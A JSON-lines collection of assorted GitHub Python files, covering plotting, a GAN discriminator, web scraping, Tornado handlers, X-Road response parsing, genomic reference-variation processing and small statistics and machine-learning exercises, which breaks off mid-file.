+{"seq_id":"34205596885","text":"#!/usr/bin/env python3\n\nfrom os import environ\n\nif \"NOX\" in environ:\n    import matplotlib\n    matplotlib.use('Agg')\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport sys\n\nfrom math import log\n\nfilename = sys.argv[1]\n\n# [[(addr, count, age)]]\ndata = []\nper_addr = {}\n\nwith open(filename, \"r\") as f:\n    tmp = []\n    for line in f.readlines():\n        if line.strip() == \"===\":\n            data.append(tmp)\n            tmp = []\n        else:\n            split = line.split()\n            addr  = int(split[0], 16)\n            tmp.append((addr, int(split[1]), int(split[2])))\n\n            if split[0] not in per_addr:\n                per_addr[addr] = [(0, None)]\n\n# Collect info over time per-address\nfor dump in data:\n    visited = set()\n    for (addr, count, age) in dump:\n        per_addr[addr].append((count, age))\n        visited.add(addr)\n\n    # fill in blanks for the others\n    for not_visited in set(per_addr.keys()) - visited:\n        per_addr[not_visited].append((0, None))\n\nfig = plt.figure()\n\nbig_array = []\n\nfor addr in sorted(per_addr.keys(), reverse=True):\n    data = per_addr[addr]\n    counts = [log(d[0]) if d[0] > 1 else d[0] for d in data]\n    #counts = [d[0] for d in data]\n    counts = np.diff(counts)\n    big_array.append(counts)\n    #plt.plot(counts, label=addr)\n\nprint(\"processed\")\n\n#LABEL_FREQ=1000\n#labels = list(map(lambda x: hex(x), sorted(per_addr.keys(), reverse=True)))[::LABEL_FREQ]\n\nim = plt.imshow(big_array, cmap = \"Greys\", aspect='auto')\ncbar = plt.colorbar(im)\ncbar.set_label(\"Log Number of accesses\")\n\nplt.ylabel('Huge page Address (sorted)')\nplt.xlabel('Time (# memory accesses, chunks of 1-billion accesses)')\nplt.gca().set_yticklabels(plt.gca().get_yticks(), {'family':'monospace'})\n#plt.yticks(np.arange(0, len(labels)*LABEL_FREQ, LABEL_FREQ), labels)\nplt.yticks([])\n\nax = fig.axes[0]\nax.spines['left'].set_visible(False)\nax.spines['right'].set_visible(False)\nax.spines['top'].set_visible(False)\nax.spines['bottom'].set_visible(False)\n\nplt.tight_layout()\n\nif \"NOX\" not in environ:\n    plt.show()\n\nplt.savefig('{}.png'.format(filename))\n","repo_name":"multifacet/0sim-plotting-scripts","sub_path":"plot-memtrace-by-address.py","file_name":"plot-memtrace-by-address.py","file_ext":"py","file_size_in_byte":2085,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"71866619603","text":"import numpy as np\r\nimport torch\r\nimport torch.nn as nn\r\n\r\nclass MyDiscriminator(nn.Module):\r\n    def __init__(self):\r\n        super().__init__()\r\n        self.block = nn.Sequential(\r\n            nn.Linear(784,1024,bias=True),\r\n            nn.ReLU(),\r\n            nn.Dropout(p=0.3),\r\n            nn.Linear(1024, 512, bias=True),\r\n            nn.ReLU(),\r\n            nn.Dropout(p=0.3),\r\n            nn.Linear(512, 256, bias=True),\r\n            nn.ReLU(),\r\n            nn.Dropout(p=0.3),\r\n            nn.Linear(256, 1, bias=True),\r\n            nn.Sigmoid()\r\n        )\r\n\r\n    def forward(self, x):\r\n        return self.block(x)","repo_name":"yd2333/ML-Practice","sub_path":"model/MyDiscriminator.py","file_name":"MyDiscriminator.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"31774821422","text":"from bs4 import BeautifulSoup\nimport requests\n# url=\"https://www.empireonline.com/movies/features/best-movies-2/\"\n\n\nurl=\"http://web.archive.org/web/20200821234542/https://www.empireonline.com/movies/features/best-movies-2/\"\n\nresponse=requests.get(url)\nwebhtml=response.text\n\nsoup=BeautifulSoup(webhtml,\"html.parser\")\n# print(soup.prettify())\nal_muvs=soup.find_all(name=\"h3\",class_=\"title\" )\n# print(al_muvs)\n\nnames=[muv.getText() for muv in al_muvs]\nmovie=names[::-1] #[start:stop:step]\n\nwith open(\"movies.txt\",mode=\"w\") as file:\n  for muv in movie:\n    file.write(f\"{muv}\\n\")\n\n\n","repo_name":"npkeerthi/MustWatchMovies_scrap","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"1436732332","text":"from abc import ABC, abstractclassmethod\nfrom datetime import datetime\nimport re\nimport news.parser.parse_dicts as pd\n\n\nclass Value(ABC):\n    def __init__(self, value, type_news) -> None:\n        self.type_news = type_news\n        self.parse_cmd = pd.PARSE_DICT[type_news]\n\n        self.__value: str = \"\"\n        self.value: str = value\n\n    @property\n    @abstractclassmethod\n    def value(self) -> str:\n        pass\n\n    @value.setter\n    @abstractclassmethod\n    def value(self, value) -> str:\n        pass\n\n\nclass ArticleName(Value):\n    @property\n    def value(self) -> str:\n        return self.__value\n\n    @value.setter\n    def value(self, value) -> str:\n        value = value.select_one(self.parse_cmd[\"name\"]).text\n\n        self.__value = value\n\n\nclass ArticleLink(Value):\n    @property\n    def value(self) -> str:\n        return self.__value\n\n    @value.setter\n    def value(self, value) -> str:\n        value = value.select_one(self.parse_cmd[\"link\"]).get(\"href\")\n\n        if self.parse_cmd[\"search_link\"] not in value:\n            value = self.parse_cmd[\"create_link\"] + value\n\n        self.__value = value\n\n\nclass ArticlePushTime(Value):\n    @property\n    def value(self) -> str:\n        return self.__value\n\n    @value.setter\n    def value(self, value) -> str:\n        value = value.select_one(self.parse_cmd[\"push_time\"]).text\n\n        self.__value = value\n\n\nclass ArticleStop(Value):\n    @property\n    def value(self) -> str:\n        return self.__value\n\n    @value.setter\n    def value(self, value) -> str:\n        date_now = datetime.now().date()\n\n        stop_date = value.select_one(self.parse_cmd[\"stop_select\"]).get(\"href\")\n\n        parse_date = re.findall(\n            r\"/+\\d{4}/+\\d{2}/+\\d{2}|/+\\d{4}/+\\d{2}/+\\d{1}\", stop_date\n        )[0]\n\n        now_date = datetime.strftime(date_now, \"/%Y/%m/\" + str(date_now.day))\n\n        if parse_date != now_date:\n            self.__value = True\n        else:\n            self.__value = False\n\n\nclass ArticalTextContent(Value):\n    def __init__(self, value, type_news) -> None:\n        self.type_news = type_news\n        self.parse_cmd = pd.PARSE_DICT\n\n        self.__value: str = \"\"\n        self.value: str = value\n\n    @property\n    def value(self) -> str:\n        return self.__value\n\n    @value.setter\n    def value(self, value) -> str:\n        for key in self.parse_cmd:\n            parse_cmd = self.parse_cmd[key]\n\n            cont = value.select(parse_cmd[\"text_content\"])\n\n            if cont != []:\n                value = list([text.text for text in cont])\n                break\n\n        self.__value = value\n\n\nclass ParseArticle:\n    parse_name = ArticleName\n    parse_link = ArticleLink\n    parse_stop = ArticleStop\n    parse_push_time = ArticlePushTime\n\n    def __init__(self, article, type_news: str) -> None:\n        self.name: str = self.parse_name(article, type_news).value\n        self.link: str = self.parse_link(article, type_news).value\n        self.stop_iter: str = self.parse_stop(article, type_news).value\n        self.push_time: str = self.parse_push_time(article, type_news).value\n        self.type_news: str = type_news\n\n","repo_name":"DioSWolF/web_command_project","sub_path":"personal_assistant/news/parser/parse_cls.py","file_name":"parse_cls.py","file_ext":"py","file_size_in_byte":3112,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"44798144218","text":"# -*- coding: utf-8 -*-\n# @Author: Mehaei\n# @Date:   2020-08-06 17:17:59\n# @Last Modified by:   Mehaei\n# @Last Modified time: 2020-08-13 18:47:39\n\nimport tornado.web\nimport os\nimport re\nfrom pycket.session import SessionMixin\nfrom project.config import WORKDIR, GIT_PROJECT_DIR\nfrom helper.tools import excute_cmd_get_result\n# from utils import photo\n\nclass AuthBaseHandler(tornado.web.RequestHandler,SessionMixin):\n    def get_current_user(self): #重写get_current_user()方法\n        return self.session.get('user_info', None) #session是一种会话状态，跟数据库的session可能不一样\n\n#添加装饰器,装饰需要验证的请求\n# class IndexHandler(AuthBaseHandler):\nclass IndexHandler(tornado.web.RequestHandler):\n    \"\"\"\n    \"\"\"\n    # @tornado.web.authenticated   #@tornado.web.authenticated装饰器包裹get方法时，表示这个方法只有在用户合法时才会调用，authenticated装饰器会调用get_current_user()方法获取current_user的值，若值为False，则重定向到登录url装饰器判断有没有登录，如果没有则跳转到配置的路由下去，但是要在app.py里面设置login_url\n    def get(self, *args, **kwargs):\n        show_file_list = []\n\n        search_name = self.get_argument('search_name', None)\n        for file_name in os.listdir(GIT_PROJECT_DIR):\n            if os.path.isdir(\"%s/%s\" % (GIT_PROJECT_DIR, file_name)):\n                if search_name:\n                    if re.search(search_name, file_name):\n                        show_file_list.append(file_name)\n                    else:\n                        continue\n                else:\n                    show_file_list.append(file_name)\n\n        # self.render('index.html')\n        work_list = self.get_branch(show_file_list)\n        self.render('project_list.html', work_list=work_list)\n\n    def get_branch(self, work_list):\n        new_work_list = []\n\n        cmd = [\"git\", \"branch\"]\n        for wdir in work_list:\n            os.chdir(\"%s/%s\" % (GIT_PROJECT_DIR, wdir))\n            wdir_info = (wdir, excute_cmd_get_result(cmd, rgx=r\"\\*.+\\n\", clean=self.replace_branch, error_return=\"isn't git project\"))\n            new_work_list.append(wdir_info)\n\n        os.chdir(WORKDIR)\n        return new_work_list\n\n    def replace_branch(self, strr):\n        return strr.strip(\"*| |\\n\")\n\n\nclass ExploreHandler(AuthBaseHandler):\n    \"\"\"\n    Explore page,photo of other users 发现页-----发现或最近上传的图片页面\n    \"\"\"\n    @tornado.web.authenticated\n    def get(self,*args,**kwargs):\n        # image_urls = get_images(\"./static/uploads\")  #打开指定路径下的文件，或者static/uploads\n        os.chdir('static')  # 用于改变当前工作目录到指定的路径\n        image_urls = photo.get_images(\"uploads/thumbs\")\n        os.chdir(\"..\")\n        self.render('explore.html',image_urls=image_urls)\n\nclass PostHandler(AuthBaseHandler):\n    \"\"\"\n    Single photo page and maybe  单个图片详情页面\n    \"\"\"\n    @tornado.web.authenticated\n    def get(self,post_id):\n        print(post_id)\n        self.render('post.html',post_id = post_id)   #根据正则输入的内容，接收到，打开相应的图片\n\n\nclass UploadHandler(AuthBaseHandler):  #上传文件\n    @tornado.web.authenticated\n    def get(self,*args,**kwargs):\n        self.render('upload.html')\n\n    def post(self,*args,**kwargs):\n        file_imgs = self.request.files.get('newImg',None)  #获取上传文件数据，返回文件列表\n\n        for file_img in file_imgs: #可能同一个上传的文件会有多个文件，所以要用for循环去迭代它\n            # filename 文件的实际名字，body 文件的数据实体；content_type 文件的类型。 这三个对象属性可以像字典一样支持关键字索引\n            save_to = 'static/uploads/{}'.format(file_img['filename'])\n            #以二进制格式打开一个文件只用于写入。如果该文件已存在则打开文件，并从开头开始编辑，即原有内容会被删除。如果该文件不存在，创建新文件。一般用于非文本文件如图片等。\n            with open(save_to,'wb') as f: #二进制\n                f.write(file_img['body'])\n            photo.make_thumb(save_to) #同时生成缩略图\n\n        self.redirect('/explore')\n","repo_name":"Mehaei/LocalGit","sub_path":"handlers/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4272,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"3693981198","text":"import requests\nimport zlib\nimport json\nfrom typing import Tuple\nimport xml.dom.minidom as minidom\n\ndef clean_whitespace(contents: str) -> str:\n    \"\"\" Return the given string with all line breaks and spaces removed.\"\"\"\n    lines = [line.strip(\" \\r\\n\") for line in contents.split('\\n')]\n    return ''.join(lines)\n\ndef parse_multipart_response(response: requests.Response) -> Tuple:\n    content_type_parts = response.headers.get(\"content-type\").split(';')\n    boundary = None\n    for part in content_type_parts:\n        part = part.strip()\n        if part.startswith(\"boundary=\"):\n            # Content-Type header can contain boundary=\"foo\"\n            part = part.replace('\"', \"\")\n            boundary = \"--\" + part.replace(\"boundary=\", \"\")\n            break\n    contents = response.raw.read()\n    mime_parts = []\n    if boundary:\n        # The response was a multipart message and the parts can be processed.\n        for part in contents.split(boundary.encode('utf-8')):\n            if part:\n                mime_parts.append(part)\n    return mime_parts, contents\n\ndef get_multipart_soap_and_record_count(\n        response_xml_part: bytes) -> Tuple[bytes, int]:\n    \"\"\" Return the SOAP part and the record count in the query data response.\n    Expecting response_xml_part to be the first part of the MIME multipart response.\n    \"\"\"\n    return _extract_operational_data_response_and_record_count(response_xml_part)\n\ndef _extract_operational_data_response_and_record_count(\n        response_xml_part:bytes) -> Tuple[bytes, int]:\n    response_xml = response_xml_part[response_xml_part.index(b\"<?xml\"):]\n    dom = minidom.parseString(response_xml)\n    record_count = _find_operational_data_response_record_count(dom)\n    if record_count is None:\n        raise Exception(\"The record count was not found in the operational data response\")\n    return (response_xml, _find_operational_data_response_record_count(dom))\n\ndef _find_operational_data_response_record_count(response_xml: minidom.Document) -> int:\n    record_count = response_xml.documentElement.getElementsByTagName(\"om:recordsCount\")\n    if record_count:\n        return int(record_count[0].firstChild.nodeValue)\n    return None\n\ndef get_multipart_json_payload(gzipped_json_payload: bytes) -> dict:\n    \"\"\" Return the gunzipped JSON payload of the query data response. \"\"\"\n    return json.loads(\n            _decompress_gzipped_attachment(gzipped_json_payload).decode('utf-8'))\n\ndef get_json_payload_as_string(gzipped_json_payload: bytes) -> str:\n    \"\"\" Return the gunzipped JSON payload of the query data response. \"\"\"\n    json_payload=json.loads(\n            _decompress_gzipped_attachment(gzipped_json_payload).decode('utf-8'))\n    return json.dumps(json_payload.get(\"records\"),sort_keys=True, indent=4)\n\ndef _decompress_gzipped_attachment(attachment: bytes) -> bytes:\n    headers = \\\n        b\"\\r\\ncontent-type:application/gzip\\r\\n\" \\\n        b\"content-transfer-encoding: binary\\r\\n\" \\\n        b\"content-id: <operational-monitoring-data.json.gz>\\r\\n\\r\\n\"\n\n    gzipped_payload = attachment[len(headers):].rpartition(b'\\r\\n')[0]\n    # From the manual of zlib:\n    # 32 + (8 to 15): Uses the low 4 bits of the value as the window size logarithm,\n    # and automatically accepts either the zlib or gzip format.\n    # +8 to +15: The base-two logarithm of the window size.\n    # The input must include a zlib header and trailer.\n    decompressed_payload = zlib.decompress(gzipped_payload, 32 + 15)\n    return decompressed_payload\n\ndef print_multipart_soap_and_record_count(\n            soap_part: bytes, record_count: int, is_client: bool=True):\n    print(\"Received the following SOAP response from the \" \\\n            \"security server of the %s: \\n\" % (\"client\" if is_client else \"producer\"))\n    xml = minidom.parseString(clean_whitespace(soap_part.decode(\"utf-8\")))\n    print(xml.toprettyxml())\n    print(\"The expected number of JSON records in the response payload: %d\" % (\n            record_count,))\n","repo_name":"egobsv/pasarela-tenoli","sub_path":"estadísticas/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":3961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"31832782694","text":"#!/usr/bin/env python\n\nfrom vdb import *\nimport multiprocessing, sys\n\n'''\ndef f1_a( mgr, ref, del_pos, del_len, ins ) :\n    del_pos = 2\n    del_len = 1\n    ins = \"CCAA\"\n    \n    print \"ref    = '%s' del: %d:%d ins: '%s'\" % ( ref, del_pos, del_len, ins )\n    \n    ref_var = mgr.make_ref_var( ref, del_pos, del_len, ins )\n    \n    #q  = ref_var.search()\n    #qr = ref_var.search_len()\n    #print \"query  = '%s' at: %d:%d, on ref: %d\" %( q[0], q[2], q[1], qr )\n    \n    ( a_bases, a_len, a_pos ) = ref_var.allele()\n    ar = ref_var.allele_len()\n    print \"allele = '%s' at: %d:%d, on ref: %d\" %( a_bases, a_pos, a_len, ar )\n\n#------------------------------------------------------------------------------------------------------------\ndef f1( mgr ):\n    ref = \"ACCGGTTAACC\"\n    \n    del_pos = 2\n    del_len = 1\n    ins = \"CCAA\"\n\n    f1_a( mgr, ref, del_pos, del_len, ins )\n    f1_a( mgr, ref, del_pos, del_len, ins )    \n\n#------------------------------------------------------------------------------------------------------------\ndef f2( mgr, acc ) :\n    refs = mgr.make_reflist( acc )\n    count = refs.count()\n    print \"we have %d references:\" % count\n    for idx in xrange( count ) :\n        print \"\\t No. %d\" % idx\n        obj = refs.get( idx )\n        #print \"\\t\\tidx:\\t%d\" % obj.get_idx()\n        rr = obj.get_row_range()\n        print \"\\t\\trows:\\t%d..%d\" % ( rr[0], rr[1] )\n        #print \"\\t\\tbin:\\t%d\" % obj.get_bin()\n        print \"\\t\\tSeqId:\\t%s\" % obj.get_seq_id()\n        print \"\\t\\tname:\\t%s\" % obj.get_name()\n        print \"\\t\\tlength:\\t%d\" % obj.get_length()\n        print \"\\t\\tcirc:\\t%s\" % obj.is_circular()\n        print \"\\t\\text:\\t%s\" % obj.is_external()\n        #print \"\\t\\tdata:\\t%s\" % obj.read( 0, 50 )\n        #print \"\\t\\tid-cnt:\\t%d\" % obj.id_count( rr[ 0 ] )\n\n\n#------------------------------------------------------------------------------------------------------------\ndef num( s ):\n    try:\n        return int( s )\n    except ValueError:\n        return 0\n\n\n#------------------------------------------------------------------------------------------------------------\ndef split_cigar( cigar ) :\n    res = list()\n    op_len = \"\"\n    for i in xrange( 0, len( cigar ) ) :\n        op = cigar[ i ]\n        if op >= '0' and op <= '9' :\n            op_len = op_len + op\n        else :\n            tup = ( num( op_len ), op )\n            op_len = \"\"\n            res.append( tup )\n    return res\n\n\n#------------------------------------------------------------------------------------------------------------\ndef f3( mgr, acc ) :\n    cur = mgr.open_db( acc ).open_tab( \"PRIMARY_ALIGNMENT\" ).make_cursor()\n    cols = cur.open( [ \"CIGAR_SHORT\", \"READ\", \"REF_SEQ_ID\", \"REF_POS\", \"REF_LEN\" ] )\n    row = read_row( cols, 1 )\n    print row\n\n\n#------------------------------------------------------------------------------------------------------------\ndef f4( mgr, acc ) :\n    cur = mgr.open_db( acc ).open_tab( \"PRIMARY_ALIGNMENT\" ).make_cursor()\n    cols = cur.open( [ \"CIGAR_SHORT\", \"READ\", \"REF_SEQ_ID\", \"REF_POS\", \"REF_LEN\" ] )\n    row_range = cols[ \"READ\" ].range()\n    print row_range\n    for row in row_range :\n        row_data = read_row( cols, row )\n        if row % 1000 == 0 :\n            sys.stdout.write( '.' )\n            sys.stdout.flush()\n\n#------------------------------------------------------------------------------------------------------------\ndef cigar_splitter( cigar, ref_pos, reference ) :\n    ops = split_cigar( cigar )\n    \n\n#------------------------------------------------------------------------------------------------------------\ndef handle_reference( ref_obj, total, prim_alig_id_col, prim_cols, cigars ) :\n    res = total\n    ref_rows = ref_obj.get_row_range()\n    ref_len = ref_obj.get_length()\n    name = ref_obj.get_seq_id()\n    #read the whole reference in...\n    reference = ref_obj.read( 0, ref_len )\n    print \"\\n\", name, ref_len, len( reference )\n    # for each row in the reference-table of this reference\n    for ref_row in xrange( ref_rows[ 0 ], ref_rows[ 1 ] + 1 ) :\n        prim_ids = prim_alig_id_col.read( ref_row )\n        #for each alignment in this reference-block\n        for prim_id in prim_ids :\n            row_data = read_row( prim_cols, prim_id )\n            cigar = row_data[ \"CIGAR_SHORT\" ]\n            if cigar in cigars.keys() :\n                cigars[ cigar ] += 1\n            else :\n                cigars[ cigar ] = 1\n            res += 1\n            if res % 1000 == 0 :\n                sys.stdout.write( '.' )\n                sys.stdout.flush()\n    return res\n\n\n  \n#------------------------------------------------------------------------------------------------------------\ndef f5( mgr, acc, ref_idx = None ) :\n    db = mgr.open_db( acc )\n    cur_a = db.open_tab( \"PRIMARY_ALIGNMENT\" ).make_cursor()\n    cur_r = db.open_tab( \"REFERENCE\" ).make_cursor()\n    refs = db.make_reflist()\n    prim_cols = cur_a.open( [ \"CIGAR_SHORT\", \"READ\", \"REF_SEQ_ID\", \"REF_POS\", \"REF_LEN\" ] )\n    prim_alig_id_col = cur_r.open( \"PRIMARY_ALIGNMENT_IDS\" )\n    total = 0\n    cigars = {}\n    \n    if ref_idx == None :\n    # for each reference\n        for idx in xrange( refs.count() ) :\n            total += handle_reference( refs.get( idx ), total, prim_alig_id_col, prim_cols, cigars )       \n    else :\n        total += handle_reference( refs.get( ref_idx ), total, prim_alig_id_col, prim_cols, cigars )       \n    \n    print \"\\nhandled \", total, \" alignments\"\n    print \"we have \", len( cigars ), \" different cigar-strings\"\n    sorted_cigars = sorted( cigars, key = cigars.get, reverse = True )\n    for w in sorted_cigars[ 0 : 10 ] :\n        print w, cigars[ w ]\n\n'''\n\n#------------------------------------------------------------------------------------------------------------\ndef cigar2events( cigar ) :\n    res = list()\n    tmp = \"\"\n    for c in cigar :\n        if c >= '0' and c <= '9' :\n            tmp += c\n        else :\n            res.append( ( int( tmp ), c ) )\n            tmp = \"\"\n    return res\n\n\n#------------------------------------------------------------------------------------------------------------\ndef events2dict( events ) :\n    res = {}\n    for ( len, op ) in events :\n        res[ op ] = res.get( op, 0 ) + 1\n    return res\n\n\n#------------------------------------------------------------------------------------------------------------\ndef adjacent( events, op1, op2 ) :\n    res = 0\n    last = 'x'\n    for ( len, op ) in events :\n        if op == op1 and last == op2 :\n            res += 1\n        if op == op2 and last == op1 :\n            res += 1\n        last = op\n    return res\n\n\n#------------------------------------------------------------------------------------------------------------\ndef cigar_events( cigar, read, refname, pos ) :\n    ref_pos  = pos\n    ali_pos = 0\n    events = cigar2events( cigar )\n    for ( len, op ) in events :\n        if op == '=' :          # we have a perfect match between reference and alignment '='\n            ref_pos += len      # we advance on alignment AND reference\n            ali_pos += len\n\n        elif op == 'X' :        #we have a mismatch  between reference and alignment 'X'\n            yield ( refname, ref_pos, 0, read[ ali_pos : ali_pos + len ] )\n            ref_pos += len      # we advance on alignment AND reference\n            ali_pos += len\n\n        elif op == 'D' :        #we have a deletion on the reference 'D'\n            yield ( refname, ref_pos, len, '' )\n            ref_pos += len      # we advance only on reference\n\n        elif op == 'I' :        #we have a insertion on the reference 'I'\n            yield ( refname, ref_pos, 0, read[ ali_pos : ali_pos + len ] )\n            ali_pos += len      # we advance only on alignment\n            \n        elif op == 'S' :        #we have a soft clip 'S'\n            ali_pos += len      # we advance only on alignment\n\n        elif op == 'H' :        #we have a hard clip 'H'\n            ali_pos += 0        # we do nothing\n\n        elif op == 'N' :        #we have a reference 'N'\n            ref_pos += len      # we advance on alignment AND reference\n\n        else :\n            ali_pos += 0        # we do nothing\n\n#------------------------------------------------------------------------------------------------------------\n# a generator of alleles...\ndef alleles( db, row_range = None ) :\n    column_list = [ 'CIGAR_LONG', 'READ', 'REF_SEQ_ID', 'REF_POS', 'REF_LEN' ]\n    prim_cols = db.open_tab( \"PRIMARY_ALIGNMENT\" ).make_cursor().open( column_list )\n    for row in row_gen( prim_cols, row_range ) :\n        cigar = row[ 'CIGAR_LONG' ]\n        read = row[ 'READ' ]\n        refname = row[ 'REF_SEQ_ID' ]\n        refpos = row[ 'REF_POS' ][ 0 ]\n        reflen = row[ 'REF_LEN' ][ 0 ]\n        for c in cigar_events( cigar, read, refname, refpos, reflen ) :\n            yield c\n        print\n\n#------------------------------------------------------------------------------------------------------------\ndef refvar_consumer( q, filename ) :\n    print( \"refvar_consumer() started\" )\n    d = {}\n    while True :\n        signature = q.get()\n        if signature == None :\n            break\n        d[ signature ] = d.get( signature, 0 ) + 1\n\n    f = open( filename, \"w\" )\n    for k, v in sorted( [ ( value, key ) for ( key, value ) in d.items() ], reverse=True ) :\n        f.write( \"%d %s\\n\" %( k, v ) )\n    f.close()\n    print( \"refvar_consumer() done\" )\n\n\n#------------------------------------------------------------------------------------------------------------\ndef allel_consumer( mgr, acc, q_in, q_out1, q_out2 ) :\n    print( \"allel_consumer() started\" )\n    try :\n        ref_list = mgr.OpenDB( acc ).ReferenceList()\n        curr_ref = None\n        ref_bases = None\n        while True :\n            t = q_in.get()\n            if t == None :\n                break\n            ( ref_name, ref_pos, del_len, bases ) = t\n            if curr_ref == None or curr_ref != ref_name :\n                curr_ref = ref_name\n                try :\n                    ref_obj = ref_list.find( ref_name )\n                    ref_bases = ref_obj.Read( 0, ref_obj.SeqLength() )[:]\n                except vdb_error as e :\n                    print( e )\n\n            sig1 = \"%s:%d:%d:%s\" % ( ref_name, ref_pos, del_len, bases )\n            q_out1.put( sig1 )\n            \n            if len( bases ) > 0 :\n                # we have insertion/mismatch : let's canonicalize it\n                ref_var = mgr.RefVariation( ref_bases, ref_pos, del_len, bases )\n                ( a_bases, a_len, a_pos ) = ref_var.GetAllele()\n                sig2 = \"%s:%d:%d:%s\" % ( ref_name, a_pos, a_len, a_bases )\n            else :\n                # we have a pure deletion\n                sig2 = sig1\n\n            q_out2.put( sig2 )\n    except vdb_error as e :\n        print( e )\n    q_out1.put( None )\n    q_out2.put( None )\n    print( \"allel_consumer() done\" )\n\n\n#------------------------------------------------------------------------------------------------------------    \ndef row_consumer_allel_producer( q_in, q_out ) :\n    print( \"row_consumer() started\" )\n    while True :\n        row = q_in.get()\n        if row == None :\n            break\n        try :\n            cigar = row[ 'CIGAR_LONG' ]\n            read = row[ 'READ' ]\n            refname = row[ 'REF_SEQ_ID' ]\n            refpos = row[ 'REF_POS' ][ 0 ]\n            for c in cigar_events( cigar, read, refname, refpos ) :\n                q_out.put( c )\n        except vdb_error as e :\n            print( e )\n\n    print( \"row_consumer() done\" )\n    q_out.put( None )\n\n\n#------------------------------------------------------------------------------------------------------------\ndef row_producer( mgr, acc, row_range, q ) :\n    try :\n        print( \"row_producer() started\" )\n        db = mgr.OpenDB( acc )\n        cols = [ 'CIGAR_LONG', 'READ', 'REF_SEQ_ID', 'REF_POS' ]\n        prim_cols = db.OpenTable( \"PRIMARY_ALIGNMENT\" ).CreateCursor().OpenColumns( cols )\n        for row in row_gen( prim_cols, row_range ) :\n            q.put( row )\n        q.put( None )\n        print( \"row_producer() done\" )\n    except vdb_error as e :\n        print( e )\n\n\ndef process_accession( mgr, acc, row_range = None ) :\n    row_q = multiprocessing.Queue()\n\n    p_row_producer = multiprocessing.Process( target = row_producer, args = ( mgr, acc, row_range, row_q ), )\n\n    allel_q = multiprocessing.Queue()\n    \n    p_row_cons = multiprocessing.Process( target = row_consumer_allel_producer, args = ( row_q, allel_q ), )    \n    \n    refvar_q1 = multiprocessing.Queue()\n    refvar_q2 = multiprocessing.Queue()\n    \n    p_allel_cons = multiprocessing.Process( target = allel_consumer, args = ( mgr, acc, allel_q, refvar_q1, refvar_q2 ), )\n\n    p_refvar1 = multiprocessing.Process( target = refvar_consumer, args = ( refvar_q1, \"ref_var_1.txt\" ), )\n    p_refvar2 = multiprocessing.Process( target = refvar_consumer, args = ( refvar_q2, \"ref_var_2.txt\" ), )\n    \n    p_row_producer.start()\n    p_row_cons.start()\n    p_allel_cons.start()\n    p_refvar1.start()\n    p_refvar2.start()\n    \n    p_row_producer.join()    \n    p_row_cons.join()\n    p_allel_cons.join()\n    p_refvar1.join()\n    p_refvar2.join()\n\n\n#------------------------------------------------------------------------------------------------------------\nif __name__ == '__main__':\n    ACC = \"SRR1531793\"\n    \n    if len( sys.argv ) > 1 :\n        ACC = sys.argv[ 1 ]\n\n    mgr = manager( OpenMode.Read )\n    process_accession( mgr, ACC )\n    #f1( mgr )\n","repo_name":"ncbi/ncbi-vdb","sub_path":"py_vdb/ref_var.py","file_name":"ref_var.py","file_ext":"py","file_size_in_byte":13436,"program_lang":"python","lang":"en","doc_type":"code","stars":84,"dataset":"github-code","pt":"3"}
+{"seq_id":"33216112497","text":"array = ['1. Apple', '2. Melon', '3. Banana', '4. Orange']\ndata = [\n    {'menu1': 9000},\n    {'menu2': 1000},\n    {'menu3': 8000},\n]\n\n# indexing = array.index('Apple')\n# checkIndex = int(input('Masukkan angka index: '))\n\n# if(checkIndex-1 == indexing):\n#     print('Apple')\n# else:\n#     print('Buah yang lain')\n\nstring = 'hi my name is Luthfir'\n\n# print(isinstance(string, str))\nprint(string[3:])\n\n# for i, x in enumerate(array):\n#     print(f\"{i+1}. {x}\")\n\n# for x in data:\n#     print(x['menu1'] + \"menu1\")\n","repo_name":"luthfirrahmanb/purwadhika_data_science_module1","sub_path":"tryIndex.py","file_name":"tryIndex.py","file_ext":"py","file_size_in_byte":510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"69944335122","text":"from scipy.stats import chisquare\n\nN=int(input(\"Enter the number of times experiment is performed\"))\nclasses=int(input(\"Enter the interval/classes\"))\n\nexpected=[]\n\nfor i in range(0,classes):\n\texpected.append(N/classes) \n\nprint(\"Enter the outcomes\") \n\nactual=[]\n\nfor i in range(0,classes):\n\tx=int(input(str(i+1)))\n\nactual.append(x) \nx=chisquare(actual,expected) \nprint(x)","repo_name":"championballer/labs","sub_path":"Modeling and Simulation/chi.py","file_name":"chi.py","file_ext":"py","file_size_in_byte":370,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"23149704951","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jan 15 11:02:36 2021\n\n@author: vikas.maurya\n\"\"\"\n'''\nQuestions:\n1.The data file contains numerical attributes that describe a letter and its\ncorresponding class. Read the datafile “letterCG.data” and set all the numerical attributes\n as features.Split the data in to train and test sets.\n \n2. Fit a sequence of AdaBoostClassifier\nwith varying number of weak learners ranging from 1 to 16, keeping the max_depth as 1\nPlot the accuracy on test set against the number of weak learners.\nUse decision tree classifier as the base classifier.\n\n3.Repeat step2 with max_depth set as 2.\n\n'''\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfilePath=\"C:\\\\Users\\\\vikas.maurya\\\\Desktop\\\\AanlyticsAssignment_Edureka\\\\Model_selection_and_Boosting\\\\letterCG.bin\"\n\ndata=pd.read_csv(filePath,sep=' ')\n\n\ndata.drop([\"Unnamed: 5\", \"Unnamed: 18\", \"yegvx\"], axis=1, inplace=True)\ndata.fillna(0)\n\n\n\nX=data.iloc[:,1:]\nY=data[\"Class\"]\n\ndata.head()\n\n\n\nfrom sklearn import metrics\nfrom sklearn.tree 